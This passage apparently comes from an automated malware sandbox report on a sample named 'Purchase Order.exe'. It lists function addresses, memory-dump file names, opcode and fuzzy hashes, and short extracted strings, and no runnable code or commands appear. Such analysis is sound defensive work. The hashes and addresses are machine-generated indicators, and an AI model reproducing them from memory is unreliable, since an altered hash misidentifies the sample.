Uniqueness Score: -1.00%

Function 05305BE8 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60ff55fd8035f3f49eced7bc8df90440226df1c58f85599c4fd858c7e57ca04
Instruction ID: 43837d6a2e9f9b36c38561d31a9782ab252e56ed0ab360c86e3a0610f7e93a3d
Opcode Fuzzy Hash: d60ff55fd8035f3f49eced7bc8df90440226df1c58f85599c4fd858c7e57ca04
Instruction Fuzzy Hash: 71E198317057058FDB29DB79C464BAAB7FAAFC8600F548469D14ACB2D4DF34E842CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BEA50 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66a05d5d1e30365a38d2c96ad00a596228726528ff2114227e1af99ce0f7e05
Instruction ID: f4802488bb351a24dd17f16e21a54bd6994364ee592d122eca11994503f998c8
Opcode Fuzzy Hash: c66a05d5d1e30365a38d2c96ad00a596228726528ff2114227e1af99ce0f7e05
Instruction Fuzzy Hash: 35E1D674E041198FCB14CFA9C5909AEFBF2FB89305F24816AD815AB355D731AD82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BDDA8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71bba94bf8114a4e2a40c60039430b93e645e29b22f140c883edd736ca039e2c
Instruction ID: 72c7862c624d38ad66199637d47abbedc8b4b67a210dbc0d32853d9ffea5e261
Opcode Fuzzy Hash: 71bba94bf8114a4e2a40c60039430b93e645e29b22f140c883edd736ca039e2c
Instruction Fuzzy Hash: 93E1C974E041198FCB14CFA9C5809AEFBB2FF89315F248159D815AB355D731AD82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BE1E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e70eb37820d5b1f6f47e246515ee7c89b8a73f52eac67586a3dc7c3e97d250
Instruction ID: cdb90e4f0c152ff538dd2a9f5f243a8576813423f2dd5057723b99222d3fe76a
Opcode Fuzzy Hash: 19e70eb37820d5b1f6f47e246515ee7c89b8a73f52eac67586a3dc7c3e97d250
Instruction Fuzzy Hash: DCE1C674E041198FDB14CFA9C5849AEFBB2FB89305F24816AD814AB355D731AD82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BE618 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c07a2c9bbb09e9419b864bc036293ec92e7cdde3dfd90ad08b13ec127affb576
Instruction ID: ba1f116488992137b5e753c482e1c0ce21000e795d20cb2fb2317774c449a10d
Opcode Fuzzy Hash: c07a2c9bbb09e9419b864bc036293ec92e7cdde3dfd90ad08b13ec127affb576
Instruction Fuzzy Hash: 94E1E875E001198FCB14CFA9C5849AEFBB2FF89305F24815AD815AB355D731AD82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05300740 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734783590.0000000005300000.00000040.00000800.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5300000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a546f7272bf1f9980be5af7df2a6aba2f4277dd76b463200fc493bb4fe5047fd
Instruction ID: ced57a2410ba024b3a0c3a96c195c7a0ddc8a78addc1a60230754b868ff8a9ef
Opcode Fuzzy Hash: a546f7272bf1f9980be5af7df2a6aba2f4277dd76b463200fc493bb4fe5047fd
Instruction Fuzzy Hash: 67E10774E042198FCB14CF99C594AAEFBB2FF88305F249169D814AB355D731AD82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094B622F Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fea63b08acfb8250feffa91ee71bb1191075d3909880e26f4478c4bb4089e698
Instruction ID: a661264a1391b61c010efd04487ecf05a54005e124844955abe240dade13d07b
Opcode Fuzzy Hash: fea63b08acfb8250feffa91ee71bb1191075d3909880e26f4478c4bb4089e698
Instruction Fuzzy Hash: 08D1F431D2065A8BCB00EB68D994A9DB771FFD5300F508B9AE44937221EF706AD5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0190D5BC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1732264506.0000000001900000.00000040.00000800.00020000.00000000.sdmp, Offset: 01900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1900000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e337ad8acdca596b845661bf8506d5dc1f197d258c4526893609271a3eb54994
Instruction ID: c8a8639f734de857febe4997a6b4c928e73df7081c5bef553b35369f030797a1
Opcode Fuzzy Hash: e337ad8acdca596b845661bf8506d5dc1f197d258c4526893609271a3eb54994
Instruction Fuzzy Hash: 84A19232E00209CFCF16DFB4C84459EBBB6FF85301B15456AE909AB2A5DB71EA55CB40

Uniqueness

Uniqueness Score: -1.00%

Function 094B6240 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dcbbd07f95132eb9124887b1df6cda3d36fb798bdf6f0c8ee00f700035a0f1a
Instruction ID: 155d10b6c6cf09d97573e66ac622ea366b2024ba374f9b7c3a0a4ac8ff930651
Opcode Fuzzy Hash: 8dcbbd07f95132eb9124887b1df6cda3d36fb798bdf6f0c8ee00f700035a0f1a
Instruction Fuzzy Hash: 71D1F431D2065A8BCB00EB68D994A9DB771FFD5300F60CB9AE44937221EF706AD5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 094BEA40 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e091a894c03853979eae6d03439a7c2d27c5617f8e12070f611d607e4e81069
Instruction ID: e43ddc9dd09c8961b5c240e4e02dd3730358399df940f152640d9af67e214018
Opcode Fuzzy Hash: 0e091a894c03853979eae6d03439a7c2d27c5617f8e12070f611d607e4e81069
Instruction Fuzzy Hash: 05510571E042198BDB14CFA9C5805EEFBF2EF89304F24816AD819AB315D735A942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BE1D2 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ad94a60dc428f575c94c90a52f1c6188492c4563ab03e803ea9d525288e23e
Instruction ID: abb856745197f76c3d432b96f4475a878e0f7e2979b004070bfa6954fd57431e
Opcode Fuzzy Hash: c4ad94a60dc428f575c94c90a52f1c6188492c4563ab03e803ea9d525288e23e
Instruction Fuzzy Hash: 8351E675E002198BDB14CFA9C5845EEFBF2FF89304F24816AD818AB315D7319942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 094B3AC8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8570685ca1cfbb7e4548663c7075fce02966b5d851106f9f5ad859e905975f4
Instruction ID: 566ad6c5fc456b62d2e523116d1c0515ed748cf97bbc484871ebd0d047f15c93
Opcode Fuzzy Hash: e8570685ca1cfbb7e4548663c7075fce02966b5d851106f9f5ad859e905975f4
Instruction Fuzzy Hash: D53196B5E016188BEB18CF6BD9417C9FAF3AFC8300F14C1AAD508AB265EB3159858F50

Uniqueness

Uniqueness Score: -1.00%

Function 05865A97 Relevance: 11.4, Strings: 9, Instructions: 104COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05865B8D
4'fq, xrefs: 05865BB0
4'fq, xrefs: 05865ADE
4'fq, xrefs: 05865B6A
4'fq, xrefs: 05865BD3
4'fq, xrefs: 05865ABB
4'fq, xrefs: 05865B01
4'fq, xrefs: 05865B24
4'fq, xrefs: 05865B47

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-2799590105
Opcode ID: 27ca8be2062b430ba4e4d424d4c1136926fe6c6839f4eabec8d618252df9a6f9
Instruction ID: 34cb2099016ffdc8d4d5642460e5b77d63fdfcead6cb915f8110df7f92260fc0
Opcode Fuzzy Hash: 27ca8be2062b430ba4e4d424d4c1136926fe6c6839f4eabec8d618252df9a6f9
Instruction Fuzzy Hash: 17412F70E0120B8FCB48EFB8E8945AE7BB2FF55310F104569C805AB2A4DF392D558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05865AA8 Relevance: 11.4, Strings: 9, Instructions: 100COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05865B8D
4'fq, xrefs: 05865BB0
4'fq, xrefs: 05865ADE
4'fq, xrefs: 05865B6A
4'fq, xrefs: 05865BD3
4'fq, xrefs: 05865ABB
4'fq, xrefs: 05865B01
4'fq, xrefs: 05865B24
4'fq, xrefs: 05865B47

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-2799590105
Opcode ID: 5158640980ff8cf7261b5797db133ed44e63999660c1143486411585c0058992
Instruction ID: d03f0c63d7f6574f3a50cbaad4c3d93a8183421108c8ea540e902347ba888329
Opcode Fuzzy Hash: 5158640980ff8cf7261b5797db133ed44e63999660c1143486411585c0058992
Instruction Fuzzy Hash: CA410070E0120B9FCB49FFB8E89449E7BB2FF55300F505569D805AB2A4DF352D548B92

Uniqueness

Uniqueness Score: -1.00%

Function 094BA4A8 Relevance: 10.3, Strings: 8, Instructions: 254COMMON

Download Yara Rule

Strings

.>S, xrefs: 094BA652
.>S, xrefs: 094BA4E7
.>S, xrefs: 094BA539
.>S, xrefs: 094BA510
.>S, xrefs: 094BA58B
zS, xrefs: 094BA67B
.>S, xrefs: 094BA562
.>S, xrefs: 094BA5B4

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: zS$.>S$.>S$.>S$.>S$.>S$.>S$.>S
API String ID: 0-3926277064
Opcode ID: a41239bab4dcf3a598d414b56070999b58efa30b51bc79a48a41179020104eb4
Instruction ID: b7f4a0e4ed017cfddd0f2029244a93e9937d7072b0576ce0a6554ebd4718055f
Opcode Fuzzy Hash: a41239bab4dcf3a598d414b56070999b58efa30b51bc79a48a41179020104eb4
Instruction Fuzzy Hash: 01A10874E052198FDB04DFA8C580ADDBBFAFF89300F50961AD419BB255DB30A946CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 094BA498 Relevance: 10.2, Strings: 8, Instructions: 220COMMON

Download Yara Rule

Strings

.>S, xrefs: 094BA652
.>S, xrefs: 094BA4E7
.>S, xrefs: 094BA539
.>S, xrefs: 094BA510
.>S, xrefs: 094BA58B
zS, xrefs: 094BA67B
.>S, xrefs: 094BA562
.>S, xrefs: 094BA5B4

Memory Dump Source

Source File: 00000000.00000002.1737500638.00000000094B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 094B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_94b0000_Purchase Order.jbxd

Similarity

API ID:
String ID: zS$.>S$.>S$.>S$.>S$.>S$.>S$.>S
API String ID: 0-3926277064
Opcode ID: 8d90487a2614fab8f4a2f25b0fdde61c2caea9d949011212e8be4cda6cdabc53
Instruction ID: 5cc8210b9d6a10fcd70128b1ecf95190f8097243e67b944f78fcd299ff817b93
Opcode Fuzzy Hash: 8d90487a2614fab8f4a2f25b0fdde61c2caea9d949011212e8be4cda6cdabc53
Instruction Fuzzy Hash: 45911974E0520A8FDB04DFA8D580ADDBBFAFF89300F50961AD419AB355DB30A946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05866D00 Relevance: 9.1, Strings: 7, Instructions: 358COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05867117
4'fq, xrefs: 058670AE
4'fq, xrefs: 058670F4
4'fq, xrefs: 05867045
4'fq, xrefs: 058670D1
4'fq, xrefs: 05867068
4'fq, xrefs: 0586708B

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-4057749079
Opcode ID: c3014cfb286df3d4697b467213487f2ecaa4b7fe98a0115673312a105db75846
Instruction ID: d62a9426a808258568dacc566c6aac542f78ca731a95f1dc5e9c50452c21b4bb
Opcode Fuzzy Hash: c3014cfb286df3d4697b467213487f2ecaa4b7fe98a0115673312a105db75846
Instruction Fuzzy Hash: 54E14E70B01205CFDB08EB69E5947AD7BB2FF88304F108468D906EB3A5DF79AD518B91

Uniqueness

Uniqueness Score: -1.00%

Function 05866E10 Relevance: 9.0, Strings: 7, Instructions: 284COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05867117
4'fq, xrefs: 058670AE
4'fq, xrefs: 058670F4
4'fq, xrefs: 05867045
4'fq, xrefs: 058670D1
4'fq, xrefs: 05867068
4'fq, xrefs: 0586708B

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-4057749079
Opcode ID: e8e981d12494d5c924537bed3110c5c76ee0980937f75d8a832acc72021114a5
Instruction ID: f323ab1569aa4e63ff21a679798473a57e4f03793d2a72f5533d050cb36553fc
Opcode Fuzzy Hash: e8e981d12494d5c924537bed3110c5c76ee0980937f75d8a832acc72021114a5
Instruction Fuzzy Hash: E1C12B70B01205CFDB04EB69E9947AD7BB2FB48308F104468D906EB3A5DF79AD51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05867020 Relevance: 8.9, Strings: 7, Instructions: 162COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05867117
4'fq, xrefs: 058670AE
4'fq, xrefs: 058670F4
4'fq, xrefs: 05867045
4'fq, xrefs: 058670D1
4'fq, xrefs: 05867068
4'fq, xrefs: 0586708B

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-4057749079
Opcode ID: 6359fa5c1a8ccc813708fe0dee5c8bf1e3ad1973cb5f6feff1f455f6e13a2684
Instruction ID: fe00b568bca4daaddbdbb7e40cbeebf4dd5f7f5ccd6b8e75850664f4f71cc9c5
Opcode Fuzzy Hash: 6359fa5c1a8ccc813708fe0dee5c8bf1e3ad1973cb5f6feff1f455f6e13a2684
Instruction Fuzzy Hash: BC611E70B01205CFDB04EF6DF994B997BB1FB48308B008469DA05AB362DF79ED609B61

Uniqueness

Uniqueness Score: -1.00%

Function 05867DC9 Relevance: 7.6, Strings: 6, Instructions: 103COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05867F54
4'fq, xrefs: 05867F0E
4'fq, xrefs: 05867EA5
4'fq, xrefs: 05867EEB
4'fq, xrefs: 05867F31
4'fq, xrefs: 05867EC8

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-1373546133
Opcode ID: 3973bbf542f88135fdfcdceaa17970cf0569dd73452e257d30d2fad06c0cf4e8
Instruction ID: ee9b0bcc6fac566c0140452303b4eb068b5a524d68b173b087601e74c2fa8a6e
Opcode Fuzzy Hash: 3973bbf542f88135fdfcdceaa17970cf0569dd73452e257d30d2fad06c0cf4e8
Instruction Fuzzy Hash: 9441DFB0A03206CFD748EF68E85466E7FB7FF46204B904569C805AF2A8DB386D14CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05867DD8 Relevance: 7.6, Strings: 6, Instructions: 95COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05867F54
4'fq, xrefs: 05867F0E
4'fq, xrefs: 05867EA5
4'fq, xrefs: 05867EEB
4'fq, xrefs: 05867F31
4'fq, xrefs: 05867EC8

Memory Dump Source

Source File: 00000000.00000002.1735921052.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5860000_Purchase Order.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-1373546133
Opcode ID: 6879b09b6040fd42edeede9e2e3d3c84d1aaee85ff8a6cd476341a51d780884b
Instruction ID: 2698235fcb2cfb733812bdf93d710b2feea92d855096e41520552b0bf43aa8b1
Opcode Fuzzy Hash: 6879b09b6040fd42edeede9e2e3d3c84d1aaee85ff8a6cd476341a51d780884b
Instruction Fuzzy Hash: FE41ABB0A02206CFD748FF68E85466E7BF7FB462007904569C805AF2A8EF386D55CF91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Purchase Order.exePID: 7048, Parent PID: 6576COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	36.8%
Total number of Nodes:	19
Total number of Limit Nodes:	0

Executed Functions

Function 0166B388 Relevance: 6.6, Strings: 5, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0omp, xrefs: 0166B5C2
Ljmp, xrefs: 0166B72F
PHfq, xrefs: 0166B7B8
Ljmp, xrefs: 0166B745
PHfq, xrefs: 0166B7A7

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: faa87f87aaf88f6d059970a7b7ff4cf28a35fd9ca52b14c0dce71dba848fced4
Instruction ID: 7fc20b0829a3669a03ca5858c37ba9ad0135c5fb1de8ba3398b69ae0bb95431a
Opcode Fuzzy Hash: faa87f87aaf88f6d059970a7b7ff4cf28a35fd9ca52b14c0dce71dba848fced4
Instruction Fuzzy Hash: D2E1C575A01218CFDB14CFA9D984A9DBBB6BF48310F158069E919EB365DB30AD82CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0166C1F0 Relevance: 6.5, Strings: 5, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHfq, xrefs: 0166C458
Ljmp, xrefs: 0166C3CF
PHfq, xrefs: 0166C447
0omp, xrefs: 0166C262
Ljmp, xrefs: 0166C3E5

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 4a6e3a234b672bcc3cbae83f1d2ac70bfa508ee84768a24aeb91895e573f2ab6
Instruction ID: 78582bf795f8f5bc0efa59cc7713dfc0ef76d69813a887b982058bd731a00f0c
Opcode Fuzzy Hash: 4a6e3a234b672bcc3cbae83f1d2ac70bfa508ee84768a24aeb91895e573f2ab6
Instruction Fuzzy Hash: 2991D674E01608CFDB14DFAAD984A9DBBF6FF89300F14806AE859AB355DB309981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0166BF10 Relevance: 6.4, Strings: 5, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljmp, xrefs: 0166C105
0omp, xrefs: 0166BF82
PHfq, xrefs: 0166C167
Ljmp, xrefs: 0166C0EF
PHfq, xrefs: 0166C178

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 03688797af7204389ab9ec6dccbdfa9f69403cf9619ef06d828ef9d78b6e5c2e
Instruction ID: 7ec7b5c2dbb01e849ff1bcb1c59d983c59158ee843bd2e79bedde26ddc995ddc
Opcode Fuzzy Hash: 03688797af7204389ab9ec6dccbdfa9f69403cf9619ef06d828ef9d78b6e5c2e
Instruction Fuzzy Hash: DE91E574E00608CFDB14DFAAD884A9DBBF6FF89300F148069E859AB365DB319981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0166C7B2 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljmp, xrefs: 0166C98F
Ljmp, xrefs: 0166C9A5
PHfq, xrefs: 0166CA07
0omp, xrefs: 0166C822
PHfq, xrefs: 0166CA18

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: e375ede35186b330d923049a67cceae689e532c2ec3eae5e40475a12e4debc20
Instruction ID: 93a77e144b3411efd1260839227a7723f77fdbe5f6143c8a8af7e5bc0a4d15df
Opcode Fuzzy Hash: e375ede35186b330d923049a67cceae689e532c2ec3eae5e40475a12e4debc20
Instruction Fuzzy Hash: 4A81C674E01618CFDB14DFAAD994A9DBBF2BF88300F14D169E849AB365DB309981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0166CA92 Relevance: 6.4, Strings: 5, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljmp, xrefs: 0166CC6F
Ljmp, xrefs: 0166CC85
PHfq, xrefs: 0166CCF8
0omp, xrefs: 0166CB02
PHfq, xrefs: 0166CCE7

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: 0797c80f8f631ace0eec84ed8769a53adce13f9166ebe9cd1689a403cb64e162
Instruction ID: aa77449fdaecc2de0d37ddbe10092bd32cce8816ac7b00f6b26e17ecc14724c7
Opcode Fuzzy Hash: 0797c80f8f631ace0eec84ed8769a53adce13f9166ebe9cd1689a403cb64e162
Instruction Fuzzy Hash: 9081D674E01618CFDB14DFA9D984A9DBBF2BF88300F14C069E859AB365DB309981DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0166C4D0 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHfq, xrefs: 0166C727
Ljmp, xrefs: 0166C6C5
Ljmp, xrefs: 0166C6AF
0omp, xrefs: 0166C542
PHfq, xrefs: 0166C738

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: d7033647b4253dc9679286b0c12fdedacf9062a2b5aa911e8e6fae35641200f2
Instruction ID: 25ff93def91bbf0324169abd54b422cbb0bf5da7c034ee839e3b90baa393cee8
Opcode Fuzzy Hash: d7033647b4253dc9679286b0c12fdedacf9062a2b5aa911e8e6fae35641200f2
Instruction Fuzzy Hash: E181B274E00618CFDB14DFAAD994A9DBBF2BF89300F14D069E449AB365DB34A981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01664B31 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHfq, xrefs: 01664D99
Ljmp, xrefs: 01664D26
Ljmp, xrefs: 01664D10
0omp, xrefs: 01664BA2
PHfq, xrefs: 01664D88

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp$Ljmp$Ljmp$PHfq$PHfq
API String ID: 0-524576615
Opcode ID: c33c8861f144e6cb90f86b01af1d9b2e78d7efccf103108a3da0112c5773214b
Instruction ID: 4d9ed2fca349f534002cdaf5c9409adea366b547c39edded63bd29b861067ec2
Opcode Fuzzy Hash: c33c8861f144e6cb90f86b01af1d9b2e78d7efccf103108a3da0112c5773214b
Instruction Fuzzy Hash: EF81B574E01218DFDB18CFA9D984A9DBBF2BF89300F14C069E819AB365DB349981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016668E0 Relevance: 5.3, Strings: 4, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,jq, xrefs: 01666A52
,jq, xrefs: 01666A60
(ofq, xrefs: 016669E8
(ofq, xrefs: 016669DA

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$,jq$,jq
API String ID: 0-1018418033
Opcode ID: 2b4b311051d42e879b344ecac9030d5e7dfbb679c9221ef3d557787149a3fbde
Instruction ID: b7a71cd6c320095141d7ae146694dfd9382a1719ae5be57feb205cedc8784215
Opcode Fuzzy Hash: 2b4b311051d42e879b344ecac9030d5e7dfbb679c9221ef3d557787149a3fbde
